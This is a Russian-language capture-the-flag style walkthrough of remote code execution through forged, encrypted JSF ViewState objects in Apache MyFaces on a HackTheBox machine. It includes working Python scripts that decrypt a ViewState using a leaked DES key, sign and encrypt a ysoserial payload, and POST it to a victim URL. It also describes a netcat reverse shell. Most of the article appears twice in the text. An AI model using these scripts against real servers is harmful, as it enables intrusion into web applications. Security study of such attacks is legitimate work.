В данной статье рассмотрим уязвимость на основе подмены сериализованного Java-объекта ViewState и метод её эксплуатации на примере web-приложения виртуальной машины с HackTheBox, использующей технологию Apache MyFaces.
![](https://habrastorage.org/webt/ui/1-/yh/ui1-yhcioh5uxeg61z36gb92sbm.jpeg)
JavaServer Faces (JSF) — это платформа разработки интерфейса пользователя для веб-приложений Java. Для хранения текущего состояния страницы (например, какие элементы страницы должны отображаться в настоящее время) JSF использует параметр ViewState.
![](https://habrastorage.org/webt/8a/59/ku/8a59ku6kh8evsnu-_rqjwwrqsws.jpeg)
(HTML-форма отправки данных)
![](https://habrastorage.org/webt/mo/5e/dt/mo5edtmp9ydfmbpcpvxvudh_dk8.jpeg)
ViewState представляет из себя сериализованный Java-объект, автоматически встраиваемый в HTML-форму как скрытое поле с именем javax.faces.ViewState. При отправке данных из формы мы видим, что также отправляется параметр ViewState. А так как он является сериализованным объектом, вероятно, мы можем попробовать выполнить команду на стороне сервера (RCE), используя собственный заряженный сериализованный объект, который содержит полезную нагрузку.
(Тем, кто хочет углубиться в данную тему, рекомендую почитать вот этот материал).
Итак, приступим. В данной статье рассмотрим подобную уязвимость и метод
её эксплуатации на примере web-приложения уязвимой виртуальной машины
с HackTheBox, использующей технологию Apache MyFaces.
В конфигурации Apache MyFaces можно включить шифрование компонента ViewState (в нашем примере, используется шифрование DES-ECB), что повысит безопасность приложения.
Если шифрование отключено, то нам необходимо отправить сериализованный объект через компонент ViewState для выполнения команды на стороне сервера. Но что, если web-приложение использует шифрование, а ключ скомпрометирован? Это немного усложняет задачу, давайте посмотрим, как быть в такой ситуации.
Нам удалось найти бэкап с файлами конфигурации web-приложения:
![](https://habrastorage.org/webt/ox/ug/ls/oxuglssll2wwzk460erjhvtiibc.jpeg)
Отлично! Теперь мы знаем SECRET, MAC_ALGORITHM, MAC_SECRET.
Обратимся к официальной документации. Тут и тут.
![](https://habrastorage.org/webt/uy/5f/3i/uy5f3iljhbdu7c5_vhokd5ykbwg.jpeg)
Переварив полученную информацию, попробуем дешифровать ViewState. Для этого
с помощью Decoder BurpSuite приведем его в нормальный вид и напишем небольшой скрипт на Python:
![](https://habrastorage.org/webt/kf/sq/qb/kfsqqbanfb5rmclejstes05zwmu.jpeg)
На выходе получаем:
![](https://habrastorage.org/webt/v2/ud/yl/v2udyl22z3oycatufaph-pvsg6a.jpeg)
Это сериализованный объект, содержащий HmacSHA1-подпись для проверки целостности.
Для создания сериализованной полезной нагрузки мы будем использовать инструмент ysoserial
![](https://habrastorage.org/webt/28/n6/6v/28n66vgtkeqyrwpv4cwwkjajszm.jpeg)
(попробую пингануть себя (ip: 10.10.14.11) с сервера)
После ysoserial наш payload выглядит следующим образом:
![](https://habrastorage.org/webt/js/an/pj/jsanpjcfn9mwyfk-z156qdamgkm.jpeg)
Но просто в таком виде его отправить не получится, мы уже знаем, что сервер использует проверку подлинности на основе HmacSHA1-алгоритма, DES-ECB шифрование и как финал «заворачивает» всё это в base64. Давайте всё это автоматизируем, написав Python-скрипт (спасибо be_a_saint).
Настроив редирект в BurpSuite, мы можем видеть результат выполнения скрипта – наш payload:
![](https://habrastorage.org/webt/js/cz/mu/jsczmup5eutgd6huf3m0flfgugi.jpeg)
Открываем Wireshark, в BurpSuite жмём Forward и ловим входящие ICMP пакеты,
что говорит об успешном выполнении нашей нагрузки на стороне сервера.
![](https://habrastorage.org/webt/ak/jk/wr/akjkwrpkitctykowhplxuvjx8vu.jpeg)
Ещё небольшой пример полезной нагрузки и её результат.
![](https://habrastorage.org/webt/7p/a2/lc/7pa2lcbjs7ydd4suttkkxxw_wfa.jpeg)
![](https://habrastorage.org/webt/ri/na/sz/rinasznzv1zkdedbmoy4wd7strg.jpeg)
Аналогично, полезная нагрузка выполнилась успешно.
А если что-нибудь посерьёзнее? Хорошо, зальём на сервер netcat и прокинем себе реверс шелл:
![](https://habrastorage.org/webt/sk/xn/a2/skxna2jnicdz6ceybzhkw_kdemm.png)
Готово! Получили шелл от имени веб-сервиса, дальше дело за энумерацией
и повышением привилегий.
Эксплуатация данной уязвимости стала возможной в результате получения SECRET’ов сервера, отсюда напрашивается вывод, что несмотря на все принимаемые меры защиты кода/приложения, одним из самых важных критериев безопасности остается сохранение конфиденциальности чувствительных данных приложения (пароли, файлы конфигурации, бэкапы и т.д.).
На этом всё, спасибо за внимание!
![](https://habrastorage.org/webt/ui/1-/yh/ui1-yhcioh5uxeg61z36gb92sbm.jpeg)
JavaServer Faces (JSF) — это платформа разработки интерфейса пользователя для веб-приложений Java. Для хранения текущего состояния страницы (например, какие элементы страницы должны отображаться в настоящее время) JSF использует параметр ViewState.
![](https://habrastorage.org/webt/8a/59/ku/8a59ku6kh8evsnu-_rqjwwrqsws.jpeg)
(HTML-форма отправки данных)
![](https://habrastorage.org/webt/mo/5e/dt/mo5edtmp9ydfmbpcpvxvudh_dk8.jpeg)
ViewState представляет из себя сериализованный Java-объект, автоматически встраиваемый в HTML-форму как скрытое поле с именем javax.faces.ViewState. При отправке данных из формы мы видим, что также отправляется параметр ViewState. А так как он является сериализованным объектом, вероятно, мы можем попробовать выполнить команду на стороне сервера (RCE), используя собственный заряженный сериализованный объект, который содержит полезную нагрузку.
(Тем, кто хочет углубиться в данную тему, рекомендую почитать вот этот материал).
Итак, приступим. В данной статье рассмотрим подобную уязвимость и метод
её эксплуатации на примере web-приложения уязвимой виртуальной машины
с HackTheBox, использующей технологию Apache MyFaces.
В конфигурации Apache MyFaces можно включить шифрование компонента ViewState (в нашем примере, используется шифрование DES-ECB), что повысит безопасность приложения.
Если шифрование отключено, то нам необходимо отправить сериализованный объект через компонент ViewState для выполнения команды на стороне сервера. Но что, если web-приложение использует шифрование, а ключ скомпрометирован? Это немного усложняет задачу, давайте посмотрим, как быть в такой ситуации.
Нам удалось найти бэкап с файлами конфигурации web-приложения:
![](https://habrastorage.org/webt/ox/ug/ls/oxuglssll2wwzk460erjhvtiibc.jpeg)
Отлично! Теперь мы знаем SECRET, MAC_ALGORITHM, MAC_SECRET.
Обратимся к официальной документации. Тут и тут.
![](https://habrastorage.org/webt/uy/5f/3i/uy5f3iljhbdu7c5_vhokd5ykbwg.jpeg)
Переварив полученную информацию, попробуем дешифровать ViewState. Для этого
с помощью Decoder BurpSuite приведем его в нормальный вид и напишем небольшой скрипт на Python:
![](https://habrastorage.org/webt/kf/sq/qb/kfsqqbanfb5rmclejstes05zwmu.jpeg)
Скрипт на Python
import base64
from Crypto.Cipher import DES
import urllib
def pad(data):
if len(data) % 8:
for n in xrange(len(data)):
if ((len(data) + n) % 8) == 0:
data += chr(n) * n
break
return data
key = b'SnNGOTg3Ni0='
key = base64.b64decode(key)
cipher = DES.new(key, DES.MODE_ECB)
enctext = b'wHo0wmLu5ceItIi+I7XkEi1GAb4h12WZ894pA+Z4OH7bco2jXEy1RQxTqLYuokmO70KtDtngjDm0mNzA9qHjYerxo0jW7zu1mdKBXtxnT1RmnWUWTJyCuNcJuxE='
#enctext = urllib.quote(enctext.decode("ascii"))
enctext = base64.b64decode(enctext)
enctext = pad(enctext)
msg = cipher.decrypt(enctext)
print(msg)
На выходе получаем:
![](https://habrastorage.org/webt/v2/ud/yl/v2udyl22z3oycatufaph-pvsg6a.jpeg)
Это сериализованный объект, содержащий HmacSHA1-подпись для проверки целостности.
Приступим к созданию «заряженного» VIEWSTATE.
Для создания сериализованной полезной нагрузки мы будем использовать инструмент ysoserial
![](https://habrastorage.org/webt/28/n6/6v/28n66vgtkeqyrwpv4cwwkjajszm.jpeg)
(попробую пингануть себя (ip: 10.10.14.11) с сервера)
После ysoserial наш payload выглядит следующим образом:
![](https://habrastorage.org/webt/js/an/pj/jsanpjcfn9mwyfk-z156qdamgkm.jpeg)
Но просто в таком виде его отправить не получится, мы уже знаем, что сервер использует проверку подлинности на основе HmacSHA1-алгоритма, DES-ECB шифрование и как финал «заворачивает» всё это в base64. Давайте всё это автоматизируем, написав Python-скрипт (спасибо be_a_saint).
Еще один скрипт на Python
import base64
from Crypto.Cipher import DES
import hmac
import hashlib
import socket
import os
import urllib
def padding_append(data):
if len(data) % 8:
for n in xrange(len(data)):
if ((len(data) + n) % 8) == 0:
data += chr(n) * n
break
return data
def encrypt_viewstate(viewstate, secret):
secret = base64.b64decode(secret)
des = DES.new(secret, DES.MODE_ECB)
viewstate = padding_append(viewstate)
viewstate = [viewstate[n:n+8] for n in xrange(0, len(viewstate), 8)]
viewstate = "".join(map(des.encrypt, viewstate))
viewstate += hmac.new(secret, viewstate, hashlib.sha1).digest()
viewstate = base64.b64encode(viewstate)
return viewstate
def create_payload():
with open('payload_ping.ser', 'r') as fi: payload_ping = fi.read()
payload = encrypt_viewstate(payload_ping, "SnNGOTg3Ni0=")
payload = urllib.quote(payload.encode("ascii"))
return payload
victim_url = "http://127.0.0.1:8081/userSubscribe.faces"
post_data = "j_id_jsp_1623871077_1%3Aemail=test%40hello.com&j_id_jsp_1623871077_1%3Asubmit=SIGN+UP&j_id_jsp_1623871077_1_SUBMIT=1&javax.faces.ViewState="
payload = create_payload()
os.system('curl -d \"' + post_data + payload + '\" -H \"Content-Type: application/x-www-form-urlencoded\" -X POST ' + victim_url)
Настроив редирект в BurpSuite, мы можем видеть результат выполнения скрипта – наш payload:
![](https://habrastorage.org/webt/js/cz/mu/jsczmup5eutgd6huf3m0flfgugi.jpeg)
Открываем Wireshark, в BurpSuite жмём Forward и ловим входящие ICMP пакеты,
что говорит об успешном выполнении нашей нагрузки на стороне сервера.
![](https://habrastorage.org/webt/ak/jk/wr/akjkwrpkitctykowhplxuvjx8vu.jpeg)
Ещё небольшой пример полезной нагрузки и её результат.
![](https://habrastorage.org/webt/7p/a2/lc/7pa2lcbjs7ydd4suttkkxxw_wfa.jpeg)
![](https://habrastorage.org/webt/ri/na/sz/rinasznzv1zkdedbmoy4wd7strg.jpeg)
Аналогично, полезная нагрузка выполнилась успешно.
А если что-нибудь посерьёзнее? Хорошо, зальём на сервер netcat и прокинем себе реверс шелл:
![](https://habrastorage.org/webt/sk/xn/a2/skxna2jnicdz6ceybzhkw_kdemm.png)
Готово! Получили шелл от имени веб-сервиса, дальше дело за энумерацией
и повышением привилегий.
Эксплуатация данной уязвимости стала возможной в результате получения SECRET’ов сервера, отсюда напрашивается вывод, что несмотря на все принимаемые меры защиты кода/приложения, одним из самых важных критериев безопасности остается сохранение конфиденциальности чувствительных данных приложения (пароли, файлы конфигурации, бэкапы и т.д.).
На этом всё, спасибо за внимание!